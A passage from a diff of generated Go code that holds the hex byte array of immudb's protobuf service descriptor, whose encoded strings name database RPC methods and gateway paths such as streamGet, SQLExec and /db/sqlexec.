0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, - 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, - 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, - 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, - 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, - 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, - 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, 0x3a, + 0x01, 0x2a, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, 0x2f, 0x7b, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x63, 0x0a, 0x0e, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, + 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6a, 0x0a, 0x13, 0x47, + 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, 0x88, 0x02, 0x01, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x56, + 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x69, + 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, + 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, + 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, + 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, + 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, + 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, + 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, - 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, - 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, - 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, - 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, - 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, - 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, - 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, - 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, - 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, - 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, + 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, + 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, + 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, + 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, + 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, + 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, + 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, + 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, + 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, + 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, + 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, + 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, - 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, - 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 